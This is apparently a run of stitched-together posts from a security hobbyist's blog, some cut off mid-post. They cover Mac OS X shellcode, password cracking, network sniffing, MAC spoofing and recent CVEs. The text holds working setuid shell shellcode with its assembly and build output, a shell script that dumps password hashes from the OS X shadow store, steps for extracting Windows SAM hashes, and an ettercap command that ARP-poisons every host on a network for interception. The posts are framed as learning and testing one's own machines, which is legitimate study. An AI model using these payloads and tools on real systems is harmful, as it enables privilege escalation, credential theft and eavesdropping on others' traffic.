It’s been a while since I’ve blogged but I couldn’t resist with the latest Java vulnerability. I saw the proof of concept code posted by jduck last night (here) and thought this looks like normal Java code to me (I develop in Java at my day job). Well it turns out…this is normal Java code!
More smaller shellcode, this time, tested and verified working on OSX 10.7.
/* * Name: setuid_shell_x86_64 * Qualities: Null-Free * Platforms: Mac OS X 10.7 Intel x86_64 * * Created on: Apr 12, 2012 * Author: Dustin Schultz - TheXploit.com */ char shellcode = "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0" "\x0f\x05\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x48\xbf\x2f\x62" "\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6" "\x0f\x05";
; File: setuid_shell_x86_64.asm ; Author: Dustin Schultz - TheXploit.com BITS 64 section .text global start start: mov r8b, 0x02 ; Unix class system calls = 2 shl r8, 24 ; shift left 24 to the upper order bits or r8, 0x17 ; setuid = 23, or with class = 0x2000017 xor edi, edi ; zero out edi, uid = 0 mov rax, r8 ; syscall number in rax ; mov rax, 0x2000017 syscall ; invoke kernel add r8, 0x24 ; 0x24+r8=0x200003b mov rax, r8 ; syscall number in rax xor rdx, rdx ; zero out rdx, null terminator ; mov rax, 0x200003b mov rdi, 0x68732f2f6e69622f ; /bin//sh in hex push rdx ; push backwards, null terminator push rdi ; address of /bin//sh mov rdi, rsp ; null terminated /bin/sh pointer push rdx ; push backwards, null terminator push rdi ; address of /bin//sh mov rsi, rsp ; null terminated /bin/sh pointer syscall ; invoke kernel
dustin@sholtz:~/$ nasm -f macho64 shell.s dustin@sholtz:~/$ ld -static -arch x86_64 shell.o dustin@sholtz:~/$ ./a.out bash-3.2#
Bytes from otool:
dustin@sholtz:~/$ otool -t a.out a.out: (__TEXT,__text) section 0000000100000f86 41 b0 02 49 c1 e0 18 49 83 c8 17 31 ff 4c 89 c0 0000000100000f96 0f 05 49 83 c0 24 4c 89 c0 48 31 d2 48 bf 2f 62 0000000100000fa6 69 6e 2f 2f 73 68 52 57 48 89 e7 52 57 48 89 e6 0000000100000fb6 0f 05
One Security Fix Introduces Another
Today, Stefan Esser (@i0n1c) reported a critical remotely exploitable vulnerability in PHP 5.3.9 (update assigned CVE-2012-0830). The funny thing is that this vulnerability was introduced in the fix for the hash collision DOS (CVE-2011-4885) reported in December.
This is the second part of a two part article about setting up your own VPN services. In the first article I talked about how to set up an SSL-based VPN server. While SSL-based VPNs are very useful and require no inherit support from the OS, they’re only as good as the supported clients. If there isn’t a client for your device, you’re out of luck. (more…)
I was grepping through my access logs the other day and noticed several requests like the following
Strange Text File
I decided to take a look at what j1.txt was and discovered that it was a (nicely commented) PHP script that would join an IRC channel and accept commands. The script looks like it was originally coded in English and was later modified by some Indonesians.
I’m not sure exactly what vulnerability is being exploited here but it’s likely a local file inclusion type vulnerability where j1.txt (the PHP code) would end up on the server and could be executed by visiting a certain URL or embedded in the current page at the current URL.
For those of you that haven’t heard (you must live under a rock), there is currently an unpatched DoS attack against all Apache Web servers that can easily be executed from a single computer. A Perl script was posted to the Full Disclosure mailing list last weekend.
CloudFlare and Securing WordPress Admin
“All I want for Christmas is my own VPN…my own VPN, my own VPN” – Dustin
I’ve been wanting to have access to my own secure VPN for quite some time so that when I’m away from home and only have access to insecure networks, I don’t have to use work’s VPN for personal use or worry about someone intercepting my traffic. I looked into a couple paid VPN solutions but none of them seem to guarantee your privacy as far as I’m concerned. I figured my best option was to setup and manage my own.
I use WordPress as my blogging platform and unfortunately I’m on a shared host that charges a lot extra in order to serve HTTPS…even if it’s a self-signed certificate. My only use for HTTPS is logging in to the WordPress administrative console for management and new posts so it doesn’t really make sense to fork over that extra cash. Likewise, I tried the shared certificate provided by my host but that sent WordPress into a redirect loop for some reason.
If you’re in the same boat as me, there are a couple things you can do without spending any money. (more…)
I think the passwords I use are pretty strong. They’re long, random, alphanumeric, and special characters. I know it’s possible to crack passwords, given enough time, so I thought I’d give it a try. I’m curious how long it’s going to take to crack. I’ll be trying to crack my Windows 7 password and my Mac OS X password using the infamous John the Ripper.
If you want to try this out yourself, you’ll want to use the latest revision (7 at this time) of the Jumbo patch. For the Windows download, you’ll also need to download cygz.dll (there’s a link below the Win32 download) and extract this dll to the /run directory of John the Ripper. For the Mac version, just download the Universal binary.
To extract password hashes from the SAM file on Windows 7, you’ll need PwDump7. It’s very likely that your virus protection (Avira AntiVir reports it as TR/Gendal.77824.CI) will report this as a virus/trojan of some type, you can safely ignore this and just ensure that you are indeed downloading it from the author’s website (the link above). You can also verify the downloaded exe hash provided in the ReadMe of PwDump7. You’ll need to run PwDump7.exe as an Administrator. I tried fgdump to dump the password hashes first but it wouldn’t ever output anything, even running as Administrator. If PwDump7 doesn’t work for you, try fgdump.
Mac OS X 10.6 Leopard implements a pretty standard shadowed password file put in a non-standard location, with a file per user instead of a global file like /etc/shadow. Use this script I wrote called pwdumposx to dump the password hash of the current user.
#!/bin/sh #pwdumposx - thexploit.com cmd="/usr/bin/xpath" path="/var/db/dslocal/nodes/Default/users/"$SUDO_USER".plist" args="//key1/following::array/string/text()" guid=$($cmd $path $args 2>/dev/null | cut -c1-36) cat '/var/db/shadow/hash/'$guid | cut -c169-216
Run like this
nobody@nobody:~$ chmod +x pwdumposx nobody@nobody:~$ sudo ./pwdumposx
Once you have the hash, you just put it in a new file as user:hash and feed the file as input into JtR. If you want status from JtR, press <Enter> and it will output current status. It might take a really long time.
Current Cracking Status for my Passwords
The Mac is a Core Duo with 8 gigs RAM
The Windows 7 is an i7 with 12 gigs RAM
- Mac OS X: 3h 26m elapsed, guesses 0
- Microsoft Windows 7: 2h 12m elapsed, guesses 0
- Mac OS X: 14h 31m elapsed, guesses 0
- Microsoft Windows 7: 13h 16m elapsed, guesses 0
Update 3 – FAILED
- Mac OS X: 1d 1h 31m elapsed, guesses 0
- Microsoft Windows 7: 1d 16m elapsed, guesses 0
Unfortunately it’s difficult for me to tie up my computers for more than a day so I’ve stopped both of them near the 1 day mark. The good news is that, as far as brute-forcing goes, my passwords would likely take sufficient time to crack. This just reiterates the fact that non-dictionary random passwords are a must. Maybe if I’m able to get some high powered server resources I’ll rerun this experiment for a week.
I did some simple tests tonight using the “free” rainbow tables that come with Ophcrack. I was expecting at least one of my passwords to be cracked but neither were. I think there were a couple reasons for this
- The password on my XP machine is 15 characters – Ophcrack only goes up to 14 with the free tables for XP
- The password on my Windows 7 machine is not in the dictionary – Ophcrack only uses a “based on dictionary” hybrid table with the free tables for Vista+
The good thing here is that for the “trivial” user, they won’t be able to get my passwords since the non-free tables go for $99 a piece or they’ll need to obtain other tables online.
So is it Ophcrack crap? No, probably not, that would be a little harsh since I bet the free tables would crack a huge majority of the general public’s passwords.
I’ve always knew it was possible to sniff traffic on your home network but every time I tried, I always ended up sniffing ‘management type packets’ (e.g. arp requests, syns, acks, etc). I’d never really seen any useful information come across the wire so I pretty much wrote off the idea of sniffing.
Recently I had done a little deeper dive related to some work I’m doing in class and discovered some of the things I’d done wrong in the past. So here’s a short post on sniffing traffic on your home network. Take a minute to understand the concepts and be responsible with your sniffing activities.
If your home network is using a hub (it’s likely not), it’s going to be extremely easy to sniff traffic. With a hub, all traffic is broadcast to everyone on the connected to the hub and each Ethernet card decides whether or not to ignore or process the packet. Turning on a sniffer like Wireshark will allow you to see all packets that go through your Ethernet card.
Wireless Router – No Encryption
Open wireless networks are just like a hub to some extent. All traffic is basically “shouted out” across the network and anyone can intercept the traffic by telling their card to accept all transmissions. If your home network is using an unencrypted wireless connection (which I highly don’t recommend), simply start up Wireshark and start sniffing — you don’t even need to connect to your network.
Your home network is very likely using a wired or wireless router (next). Wired routers are different than hubs; they are switched and do not broadcast packets to everyone. They utilize MAC addresses at Layer 2 to send traffic to a specific host. This makes sniffing traffic just slightly more complicated.
All computers communicating over a router, need to keep a mapping of IP addresses to MAC (or hardware) addresses. To do this, they use a protocol called Address Resolution Protocol (ARP). ARP is like DNS but between IP addresses and hardware addresses. Due to the inherent lack of security in we can trick all computers (or hosts) on a network into sending their packets through our device so we can intercept them with our sniffer. This is a classic Man in the Middle Attack. The trick is to “poison” all ARP caches residing on host computers to resolve the IP address of the router to the hardware address of your computer.
Wireless Router Weak Encryption (WEP)
If you use WEP on your home network (which I hope you don’t), you can perform the same Man in the Middle Attack using ARP poisoning utilizing the nature of WEP’s encryption (RC4 – stream cipher) to decrypt packets on the fly.
Wireless Router Strong Encryption (WPA, WPA2)
Encrypted wireless routers are vulnerable to ARP poisoning due to what many refer to as “Hole 196”. For our purposes, you can consider a wireless router with strong encryption just like a wired router. I won’t go into the details of Hole 196; check out the link for more details.
So now that I’ve detailed all the possibilities you could be using for your home network, lets talk about how to use the tools to sniff traffic if your using a router of any sort.
1. Poison Your Network
Ettercap is a phenomenal tool for ARP poisoning. Alternatively, you can use ArpSpoof but you’ll need to set up kernel forwarding on your own, Ettercap on the other hand, handles this for you so this is why I chose it.
Open up a terminal and type this to get ARP poisoning going on your network:
nobody@nobody:~$ sudo ettercap -T -q -M ARP -i en1 // //
Here’s an explanation of the command:
-T is textmode, this is basically the non-interactive mode -q is for quiet -M is the Man in the Middle Attack - ARP in this case -i is the interface - en1 in this case. Replace with your own (e.g. wlan0, eth0, etc) // // means to poison all hosts on the network. It's possible to target single hosts if needed.
Optionally, if you’re using WEP you can add this parameter
If you’re using a Mac, you might be interested in my post on getting Wireshark to work on Mac OS X.
Almost everything, in some sense or another, is vulnerable to brute force. It’s just a matter of how long it takes for something to be brute forced that tends to it’s security. I found it pretty interesting that there are now online WPA crackers that will mount dictionary attacks against captured WPA authentication handshakes:
and even one that you pay for that claims to offer 400 CPU’s and a 135 million word dictionary list tailored to WPA passwords
Just goes to say that in due time, no matter how impossible it seems, dictionary attacks will likely be feasible in sooner time than one would think;all the more reason to use an entirely random WPA password.
Changing your MAC address can be useful in main situations. If you’re reading this page, you’re already likely aware of why it’s useful so let me get straight to the details.
Disassociate from an Access Point (AP) without turning off AirPort
nobody@nobody:~$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport nobody@nobody:~$ sudo airport -z
Change the MAC address
nobody@nobody:~$ sudo ifconfig en1 ether 00:11:22:33:44:55
Sniffing open wireless traffic can be pretty interesting and entertaining. It’s amazing to see what gets transferred across a network. Just make sure you’re doing it legally.
Sniffing on Mac OS X is very similar to sniffing on any other operating system with a few small caveats.
1. Install MacPorts
This is the best package manager IMHO for OS X. You’ll need to install Apple XCode Developer tools prior to installing MacPorts. The install page details all that information here http://www.macports.org/install.php. It’s all very simple double click and install DMG
2. Install Wireshark
Open a Terminal:
nobody@nobody:~$ sudo port install wireshark
If you just start Wireshark at this point, no interfaces will show up. Your user needs to own /dev/bpf in order to use the interfaces.
3. Create a Startup Script
Create this small script in /usr/bin/wireshark_start
#!/bin/sh osascript -e "do shell script "chown $USER /dev/bpf*" with administrator privileges"; wireshark &
Give it full execute permissions
nobody@nobody:/usr/bin$ sudo chmod +x wireshark_start
4. Configure Wireshark & Start Sniffing
Once Wireshark is open, choose Capture->Options, choose Interface ‘en1′, ensure ‘capture packets in monitor mode’ is enabled, click Start!
You should now be capturing packets. You’re pretty much ‘drinking from a fire hose’ so you need to make sure you utilize Wireshark’s Filter section. e.g. to filter http traffic, type in ‘http’ in the filter box and hit apply.